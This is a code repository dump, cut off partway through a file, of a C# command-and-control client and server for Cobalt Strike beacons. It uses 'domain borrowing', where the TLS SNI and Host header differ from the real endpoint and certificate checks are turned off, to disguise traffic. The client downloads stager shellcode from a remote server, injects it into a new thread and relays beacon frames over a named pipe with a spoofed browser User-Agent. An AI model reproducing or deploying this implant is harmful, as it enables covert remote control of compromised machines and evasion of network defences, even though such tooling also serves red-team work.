├── .gitignore
├── ClientC2
├── BeaconId.cs
├── Client.cs
├── ClientC2.csproj
├── Program.cs
├── channels
│ ├── BeaconChannel.cs
│ ├── DomainBorrowingChannel.cs
│ ├── HttpsClient.cs
│ └── SocketChannel.cs
├── connectors
│ ├── BaseConnector.cs
│ └── BeaconConnector.cs
├── helpers
│ └── Helpers.cs
└── interfaces
│ ├── IC2Channel.cs
│ └── IC2Connector.cs
├── Domain borrowing.sln
├── LICENSE
├── README.md
└── ServerC2
├── ChannelManager.cs
├── Controllers
├── BeaconController.cs
└── StagerController.cs
├── Program.cs
├── Properties
└── launchSettings.json
├── ServerC2.csproj
├── SocketSettings.cs
├── Startup.cs
├── appsettings.Development.json
└── appsettings.json
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
--------------------------------------------------------------------------------
/ClientC2/BeaconId.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ClientC2
4 | {
5 | ///
6 | /// A combination of the internal identifier and Cobalt Strike identifier
7 | ///
8 | public struct BeaconId
9 | {
10 | ///
11 | /// The cobalt strike identifier
12 | ///
13 | public int CobaltStrikeId;
14 |
15 | ///
16 | /// The internal identifier
17 | ///
18 | public Guid InternalId;
19 |
20 | ///
21 | /// Returns a that represents this instance.
22 | ///
23 | ///
24 | /// A that represents this instance.
25 | ///
26 | public override string ToString()
27 | => $"{CobaltStrikeId}_{InternalId}";
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/ClientC2/Client.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using ClientC2.connectors;
3 | using ClientC2.interfaces;
4 | using ClientC2.channels;
5 |
6 | namespace ClientC2
7 | {
8 | public class Client : BeaconConnector, IC2Connector
9 | {
10 | public Guid PipeName { get; private set; }
11 |
12 | private DomainBorrowingChannel Server => (DomainBorrowingChannel)ServerChannel;
13 | private BeaconChannel Beacon => (BeaconChannel)BeaconChannel;
14 |
15 | public Client(string url, string sni, int port = 443, int sleep = 60000)
16 | : base(new DomainBorrowingChannel(url, sni, port), sleep)
17 | {
18 | BeaconChannel = new BeaconChannel(PipeName);
19 | ServerChannel = new DomainBorrowingChannel(url, sni, port);
20 | }
21 |
22 | public override Func Initialize => () =>
23 | {
24 | Console.WriteLine("[-] Connecting to Web Endpoint");
25 | if (!Server.Connect()) return false;
26 |
27 | Console.WriteLine("[-] Grabbing stager bytes");
28 | PipeName = Server.BeaconId;
29 | var stager = Server.GetStager(PipeName.ToString(), Is64Bit);
30 |
31 | Console.WriteLine("[-] Creating new stager thread");
32 | if (InjectStager(stager) == 0) return false;
33 | Console.WriteLine("[+] Stager thread created!");
34 |
35 | Console.WriteLine($"[-] Connecting to pipe {PipeName}");
36 | Beacon.SetPipeName(PipeName);
37 | if (!Beacon.Connect()) return false;
38 | Console.WriteLine("[+] Connected to pipe. C2 initialization complete!");
39 |
40 | return true;
41 | };
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/ClientC2/ClientC2.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | netcoreapp3.1
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/ClientC2/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ClientC2
4 | {
5 | public class Program
6 | {
7 | public static void Main(string[] args)
8 | {
9 | Client client = new Client("target.domain.or.ip.address.here", "target.sni.here", 443);
10 | client.Go();
11 | Console.ReadKey();
12 | }
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/ClientC2/channels/BeaconChannel.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.IO.Pipes;
4 | using System.Threading;
5 | using ClientC2.interfaces;
6 |
7 | namespace ClientC2.channels
8 | {
9 | public class BeaconChannel : IC2Channel
10 | {
11 | private const int MaxBufferSize = 1024 * 1024;
12 |
13 | ///
14 | /// Construct new BeaconChannel
15 | ///
16 | public BeaconChannel()
17 | {
18 | }
19 |
20 | ///
21 | /// Contruct new BeaconChannel with specificed PipeName
22 | ///
23 | ///
24 | public BeaconChannel(Guid pipeName)
25 | {
26 | SetPipeName(pipeName);
27 | }
28 |
29 | ///
30 | /// The Cobalt Strike Beacon ID extracted from initial pipe->server frame
31 | ///
32 | public int ExternalId { get; private set; }
33 |
34 | ///
35 | /// Name of the Pipe
36 | ///
37 | public Guid PipeName { get; private set; }
38 |
39 | ///
40 | /// Client that interacts with the NamedPipe
41 | ///
42 | public NamedPipeClientStream Client { get; private set; }
43 |
44 | ///
45 | /// Determines if connected or not
46 | ///
47 | public bool Connected => Client?.IsConnected ?? false;
48 |
49 | ///
50 | /// Connects to the named pipe
51 | ///
52 | /// Whether connection was successful
53 | public bool Connect()
54 | {
55 | Client = new NamedPipeClientStream(PipeName.ToString());
56 |
57 | var tries = 0;
58 | while (Client.IsConnected == false)
59 | {
60 | if (tries == 20) break; // Failed to connect
61 |
62 | Client.Connect();
63 | tries += 1;
64 |
65 | Thread.Sleep(1000);
66 | }
67 |
68 | return Client.IsConnected;
69 | }
70 |
71 | ///
72 | /// Closes connection to NamedPipe
73 | ///
74 | public void Close()
75 | {
76 | Client.Close();
77 | }
78 |
79 | ///
80 | /// Closes the connection to the NamedPipe
81 | ///
82 | public void Dispose()
83 | {
84 | Client.Close();
85 | }
86 |
87 | ///
88 | /// Reads a frame from the NamedPipe
89 | ///
90 | /// The frame bytes
91 | public byte[] ReadFrame()
92 | {
93 | var reader = new BinaryReader(Client);
94 | var bufferSize = reader.ReadInt32();
95 | var size = bufferSize > MaxBufferSize
96 | ? MaxBufferSize
97 | : bufferSize;
98 |
99 | return reader.ReadBytes(size);
100 | }
101 |
102 | ///
103 | /// Writes a frame to the NamedPipe
104 | ///
105 | ///
106 | public void SendFrame(byte[] buffer)
107 | {
108 | var writer = new BinaryWriter(Client);
109 |
110 | writer.Write(buffer.Length);
111 | writer.Write(buffer);
112 | }
113 |
114 |
115 | ///
116 | /// Reads a frame from the NamedPipe and sends it to the other C2 channel
117 | ///
118 | ///
119 | /// Whether the read/send were successful
120 | public bool ReadAndSendTo(IC2Channel c2)
121 | {
122 | var buffer = ReadFrame();
123 | if (buffer.Length <= 0)
124 | return false;
125 |
126 | if (ExternalId == 0 && buffer.Length == 132)
127 | ExtractId(buffer);
128 |
129 | c2.SendFrame(buffer);
130 |
131 | return true;
132 | }
133 |
134 | ///
135 | /// Sets the name of the pipe.
136 | ///
137 | /// Name of the pipe.
138 | public void SetPipeName(Guid pipeName)
139 | {
140 | PipeName = pipeName;
141 | }
142 |
143 | ///
144 | /// Extracts the Cobalt Strike beacon identifier
145 | ///
146 | /// The frame
147 | private void ExtractId(byte[] frame)
148 | {
149 | using (var reader = new BinaryReader(new MemoryStream(frame)))
150 | ExternalId = reader.ReadInt32();
151 |
152 | Console.WriteLine($"[+] Extracted External Beacon Id: {ExternalId}");
153 | }
154 |
155 | ///
156 | /// Requests a stager from the channel
157 | ///
158 | ///
159 | ///
160 | ///
161 | ///
162 | /// The stager bytes
163 | ///
164 | ///
165 | public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100)
166 | {
167 | // Not implemented, the connector gets the stager for the beacon
168 | throw new NotImplementedException();
169 | }
170 | }
171 | }
172 |
--------------------------------------------------------------------------------
/ClientC2/channels/DomainBorrowingChannel.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using ClientC2.interfaces;
3 | using System.Collections.Generic;
4 | using System.Threading;
5 | using ClientC2.helpers;
6 |
7 | namespace ClientC2.channels
8 | {
9 | class DomainBorrowingChannel : IC2Channel
10 | {
11 | private readonly HttpsClient _client;
12 | private Dictionary headers;
13 |
14 | public DomainBorrowingChannel(string url, string sni, int port)
15 | {
16 | this._client = new HttpsClient(url, port, sni, false);
17 | this.headers = new Dictionary();
18 | }
19 |
20 | public Guid BeaconId { get; private set; }
21 | public bool Connected { get; private set; }
22 |
23 | public bool Connect()
24 | {
25 | string[] parseHeaders = _client.Options("/beacon", "").Split("\n");
26 | string idHeader = string.Empty;
27 | string beaconId = string.Empty;
28 |
29 | foreach(string header in parseHeaders)
30 | {
31 | if(header.Contains("X-Id-Header"))
32 | {
33 | idHeader = header.Split(" ")[1];
34 | }
35 | else if(header.Contains("X-Identifier"))
36 | {
37 | beaconId = header.Split(" ")[1];
38 | }
39 | }
40 |
41 | if(beaconId != null)
42 | {
43 | this.BeaconId = new Guid(beaconId);
44 | headers.Add(idHeader, this.BeaconId.ToString());
45 | this.Connected = true;
46 | }
47 | else
48 | {
49 | this.Connected = false;
50 | }
51 |
52 | return this.Connected;
53 | }
54 |
55 | public void Close()
56 | {
57 | }
58 |
59 | public void Dispose()
60 | {
61 | }
62 |
63 | public byte[] ReadFrame()
64 | {
65 | string b64str;
66 | while(true)
67 | {
68 | b64str = _client.Get(String.Format("/beacon/{0}", Helpers.GenerateMD5(Convert.ToString(Guid.NewGuid()))).ToLower(), headers);
69 | if (!string.IsNullOrEmpty(b64str)) break;
70 | Thread.Sleep(1000);
71 | }
72 |
73 | return Convert.FromBase64String(b64str);
74 | }
75 |
76 | public void SendFrame(byte[] buffer)
77 | {
78 | _client.Post(String.Format("/beacon/{0}", Helpers.GenerateMD5(Convert.ToString(Guid.NewGuid()))).ToLower(), Convert.ToBase64String(buffer), headers);
79 | }
80 |
81 | public bool ReadAndSendTo(IC2Channel c2)
82 | {
83 | var buffer = ReadFrame();
84 | if (buffer.Length <= 0) return false;
85 | c2.SendFrame(buffer);
86 |
87 | return true;
88 | }
89 |
90 | public byte[] GetStager(bool is64bit, int taskWaitTime = 100)
91 | {
92 | return GetStager(BeaconId.ToString(), is64bit, taskWaitTime);
93 | }
94 |
95 | public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100)
96 | {
97 | var bits = is64Bit ? "x64" : "x86";
98 | headers.Add("User-Agent", $"Mozilla/5.0 (Windows NT 10.0; {bits}; Trident/7.0; rv:11.0) like Gecko");
99 |
100 | var response = _client.Post("/stager", string.Empty, headers);
101 |
102 | return Convert.FromBase64String(response);
103 | }
104 | }
105 | }
106 |
--------------------------------------------------------------------------------
/ClientC2/channels/HttpsClient.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Net;
5 | using System.Net.Security;
6 | using System.Net.Sockets;
7 | using System.Security.Authentication;
8 | using System.Security.Cryptography.X509Certificates;
9 | using System.Text;
10 | using ClientC2.helpers;
11 |
12 | namespace ClientC2.channels
13 | {
14 | public class HttpsClient
15 | {
16 | //debug
17 | private bool debug = false;
18 |
19 | private string ip;
20 | private int port;
21 | private string sni;
22 | private Dictionary defaultHeaders;
23 | private bool ValidateCert;
24 |
25 | public HttpsClient(string addr, int port, string sni, bool ValidateCert = false)
26 | {
27 | this.ip = doDNS(addr);
28 | this.port = port;
29 | this.sni = sni;
30 | this.defaultHeaders = new Dictionary()
31 | {
32 | { "Host", sni },
33 | { "Accept", "*/*" },
34 | { "Accept-Language", "en" },
35 | { "Connection", "close" },
36 | };
37 | this.ValidateCert = ValidateCert;
38 | }
39 |
40 | private string doDNS(string addr)
41 | {
42 | IPAddress ip;
43 | if (IPAddress.TryParse(addr, out ip))
44 | {
45 | return ip.ToString();
46 | }
47 | else
48 | {
49 | IPAddress[] ipAddrs = Dns.GetHostEntry(addr).AddressList;
50 | Random rand = new Random();
51 | return ipAddrs[rand.Next(ipAddrs.Length)].ToString();
52 | }
53 | }
54 |
55 | private SslStream initSsl()
56 | {
57 | X509Certificate2 ourCA = new X509Certificate2();
58 | RemoteCertificateValidationCallback callback = (sender, cert, chain, errors) =>
59 | {
60 | bool valid = true;
61 | if (valid && ValidateCert)
62 | {
63 | valid = errors == SslPolicyErrors.None;
64 | }
65 | return valid;
66 | };
67 | try
68 | {
69 | TcpClient client = new TcpClient(ip, port);
70 | SslStream sslStream = new SslStream(client.GetStream(), false, callback, null);
71 | // ref: https://github.com/cobbr/Covenant/pull/238/files
72 | sslStream.AuthenticateAsClient(sni, null, SslProtocols.Tls | (SslProtocols)768 | (SslProtocols)3072 | (SslProtocols)12288, true);
73 | return sslStream;
74 | }
75 | catch (Exception e)
76 | {
77 | Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace);
78 | return null;
79 | }
80 | }
81 |
82 | private string readLine(SslStream sslStream)
83 | {
84 | using (var ms = new MemoryStream())
85 | {
86 | while (true)
87 | {
88 | byte chr = (byte)sslStream.ReadByte();
89 | if (chr == 13) // \r
90 | {
91 | sslStream.ReadByte(); // \n
92 | break;
93 | }
94 | ms.WriteByte(chr);
95 | }
96 | return Encoding.UTF8.GetString(ms.ToArray());
97 | }
98 | }
99 |
100 | private byte[] readFull(SslStream sslStream, int length)
101 | {
102 | using (var ms = new MemoryStream())
103 | {
104 | while (length > 0)
105 | {
106 | byte[] buffer = new byte[length];
107 | int readLen = sslStream.Read(buffer, 0, buffer.Length);
108 | ms.Write(buffer, 0, readLen);
109 | length -= readLen;
110 | }
111 | return ms.ToArray();
112 | }
113 | }
114 |
115 | private string readResponse(SslStream sslStream)
116 | {
117 | if(debug) Console.WriteLine("\n\n=============================== HTTP RSP ===============================");
118 | bool chunked = false;
119 | int contentLength = -1;
120 | string headers = string.Empty;
121 |
122 | using (var ms = new MemoryStream())
123 | {
124 | while (true)
125 | {
126 | string line = readLine(sslStream);
127 | headers += line + "\n";
128 | if (debug) Console.WriteLine(line);
129 | if (line.ToLower().StartsWith("transfer-encoding") && line.ToLower().Contains("chunked"))
130 | {
131 | chunked = true;
132 | }
133 | if (line.ToLower().StartsWith("content-length"))
134 | {
135 | string val = line.Substring(line.IndexOf(":") + 1);
136 | contentLength = int.Parse(val);
137 | }
138 | if (line.Equals("")) break;
139 | }
140 |
141 | if (chunked)
142 | {
143 | while (true)
144 | {
145 | string chunkLenStr = readLine(sslStream);
146 | if (debug) Console.WriteLine(chunkLenStr);
147 | int chunkLen = int.Parse(chunkLenStr, System.Globalization.NumberStyles.HexNumber);
148 | if (chunkLen == 0) break;
149 | byte[] buffer = readFull(sslStream, chunkLen);
150 | if (debug) Console.WriteLine(Encoding.UTF8.GetString(buffer).TrimEnd('\0'));
151 | ms.Write(buffer, 0, buffer.Length);
152 | readLine(sslStream);
153 | }
154 | }
155 | else
156 | {
157 | if (contentLength > 0)
158 | {
159 | byte[] buffer = readFull(sslStream, contentLength);
160 | if (debug) Console.WriteLine(Encoding.UTF8.GetString(buffer));
161 | ms.Write(buffer, 0, buffer.Length);
162 | }
163 | else if (contentLength < 0)
164 | {
165 | byte[] buffer = new byte[10240];
166 | while (true)
167 | {
168 | int len = sslStream.Read(buffer, 0, buffer.Length);
169 | if (len > 0)
170 | {
171 | if (debug) Console.WriteLine(Encoding.UTF8.GetString(buffer).TrimEnd('\0'));
172 | ms.Write(buffer, 0, len);
173 | }
174 | else
175 | {
176 | break;
177 | }
178 | }
179 | }
180 | else
181 | {
182 | return headers;
183 | }
184 | }
185 | if (debug) Console.WriteLine("\n\n");
186 | return Encoding.UTF8.GetString(ms.ToArray());
187 | }
188 | }
189 |
190 | private string buildHeaders(string method, Dictionary headers, int dataLength = 0)
191 | {
192 | Dictionary httpHeaders = new Dictionary();
193 | if (headers != null)
194 | {
195 | foreach (string key in headers.Keys)
196 | {
197 | httpHeaders[key] = headers[key];
198 | }
199 | }
200 | foreach (string key in defaultHeaders.Keys)
201 | {
202 | if (!httpHeaders.ContainsKey(key))
203 | {
204 | httpHeaders[key] = defaultHeaders[key];
205 | }
206 | }
207 | if (method == "POST")
208 | {
209 | if (!httpHeaders.ContainsKey("Content-Type"))
210 | {
211 | httpHeaders["Content-Type"] = "application/x-www-form-urlencoded";
212 | }
213 | httpHeaders["Content-Length"] = $@"{dataLength}";
214 | }
215 | string httpHeadersStr = "";
216 | foreach (string key in httpHeaders.Keys)
217 | {
218 | httpHeadersStr += $@"{key}: {httpHeaders[key]}" + "\r\n";
219 | }
220 | httpHeadersStr += "\r\n";
221 | return httpHeadersStr;
222 | }
223 |
224 | private string send(SslStream sslStream, string httpRequest)
225 | {
226 | if (debug) Console.WriteLine("\n\n=============================== HTTP REQ ===============================");
227 | if (debug) Console.WriteLine(httpRequest);
228 | if (debug) Console.WriteLine("\n\n");
229 | sslStream.Write(Encoding.UTF8.GetBytes(httpRequest));
230 | sslStream.Flush();
231 | string rawResponse = readResponse(sslStream);
232 | sslStream.Close();
233 | return rawResponse;
234 | }
235 |
236 | public string Get(string path, Dictionary headers = null)
237 | {
238 | var sslStream = initSsl();
239 | if (sslStream is null) return null;
240 | string method = "GET";
241 | string httpGetRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
242 | httpGetRequest += buildHeaders(method, headers);
243 | return send(sslStream, httpGetRequest);
244 | }
245 |
246 | public string Post(string path, string data, Dictionary headers = null)
247 | {
248 | var sslStream = initSsl();
249 | if (sslStream is null) return null;
250 | string method = "POST";
251 | string httpPostRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
252 | httpPostRequest += buildHeaders(method, headers, data.Length);
253 | httpPostRequest += data;
254 | return send(sslStream, httpPostRequest);
255 | }
256 |
257 | public string Options(string path, string data)
258 | {
259 | var sslStream = initSsl();
260 | if (sslStream is null) return null;
261 | string method = "OPTIONS";
262 | string httpOptionsRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
263 | httpOptionsRequest += buildHeaders(method, null, data.Length);
264 | httpOptionsRequest += data;
265 | return send(sslStream, httpOptionsRequest);
266 | }
267 |
268 | public string Put(string path, string data, Dictionary headers = null)
269 | {
270 | var sslStream = initSsl();
271 | if (sslStream is null) return null;
272 | string method = "PUT";
273 | string httpPutRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
274 | httpPutRequest += buildHeaders(method, headers, data.Length);
275 | httpPutRequest += data;
276 | return send(sslStream, httpPutRequest);
277 | }
278 | }
279 | }
280 |
--------------------------------------------------------------------------------
/ClientC2/channels/SocketChannel.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Net.Sockets;
4 | using System.Text;
5 | using ClientC2.interfaces;
6 |
7 | namespace ClientC2.channels
8 | {
9 | ///
10 | /// Direct socket connection to the Cobalt Strike External C2 server
11 | ///
12 | public class SocketChannel : IC2Channel
13 | {
14 | private const int MaxBufferSize = 1024 * 1024;
15 | private readonly IPEndPoint _endpoint;
16 |
17 | ///
18 | /// Create SocketChannel using the specificed IP and Port
19 | ///
20 | ///
21 | ///
22 | public SocketChannel(string ipAddr, string port)
23 | {
24 | var server = BitConverter.ToUInt32(
25 | IPAddress.Parse(ipAddr).GetAddressBytes(), 0);
26 | _endpoint = new IPEndPoint(server, Convert.ToInt32(port));
27 | }
28 |
29 | ///
30 | /// The channels Socket
31 | ///
32 | public Socket Socket { get; private set; }
33 |
34 | ///
35 | /// Determines if the socket is connected
36 | ///
37 | public bool Connected => Socket?.Connected ?? false;
38 |
39 | ///
40 | /// Connect to the External C2 server
41 | ///
42 | /// If the socket connected
43 | public bool Connect()
44 | {
45 | Socket = new Socket(_endpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
46 | Socket.Connect(_endpoint);
47 |
48 | if (!Socket.Connected) return false;
49 |
50 | // Configure other socket options if needed
51 | Socket.ReceiveTimeout = 10000;
52 |
53 | return Socket.Connected;
54 | }
55 |
56 | ///
57 | /// Close the socket connection
58 | ///
59 | public void Close()
60 | {
61 | Socket.Close();
62 | }
63 |
64 | ///
65 | /// Close the socket connection
66 | ///
67 | public void Dispose()
68 | {
69 | Socket.Close();
70 | }
71 |
72 | ///
73 | /// Read a frame from the socket
74 | ///
75 | /// The frame bytes
76 | public byte[] ReadFrame()
77 | {
78 | try
79 | {
80 | var sizeBytes = new byte[4];
81 | Socket.Receive(sizeBytes);
82 | var size = BitConverter.ToInt32(sizeBytes, 0) > MaxBufferSize
83 | ? MaxBufferSize
84 | : BitConverter.ToInt32(sizeBytes, 0);
85 |
86 | var total = 0;
87 | var bytesReceived = new byte[size];
88 | while (total < size)
89 | {
90 | var bytes = Socket.Receive(bytesReceived, total, size - total, SocketFlags.None);
91 | total += bytes;
92 | }
93 | if (size > 1 && size < 1024)
94 | Console.WriteLine($"[+] Read frame: {Convert.ToBase64String(bytesReceived)}");
95 |
96 | return bytesReceived;
97 | }
98 | catch (Exception ex)
99 | {
100 | Console.WriteLine($"Exception while reading socket: {ex.Message}");
101 | return new byte[] { 0x00 };
102 | }
103 | }
104 |
105 | ///
106 | /// Send a frame to the socket server
107 | ///
108 | ///
109 | public void SendFrame(byte[] buffer)
110 | {
111 | if (buffer.Length > 2 && buffer.Length < 1024)
112 | Console.WriteLine($"[+] Sending frame: {Convert.ToBase64String(buffer)}");
113 |
114 | var lenBytes = BitConverter.GetBytes(buffer.Length);
115 | Socket.Send(lenBytes, 4, 0);
116 | Socket.Send(buffer);
117 | }
118 |
119 | ///
120 | /// Read a frame from the socket and send it to the beacon channel
121 | ///
122 | ///
123 | ///
124 | public bool ReadAndSendTo(IC2Channel c2)
125 | {
126 | var buffer = ReadFrame();
127 | if (buffer.Length <= 0) return false;
128 | c2.SendFrame(buffer);
129 |
130 | return true;
131 | }
132 |
133 | ///
134 | /// Requests an NamedPipe beacon from the Cobalt Strike server
135 | ///
136 | ///
137 | ///
138 | ///
139 | /// The stager bytes
140 | public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100)
141 | {
142 | SendFrame(Encoding.ASCII.GetBytes(is64Bit ? "arch=x64" : "arch=x86"));
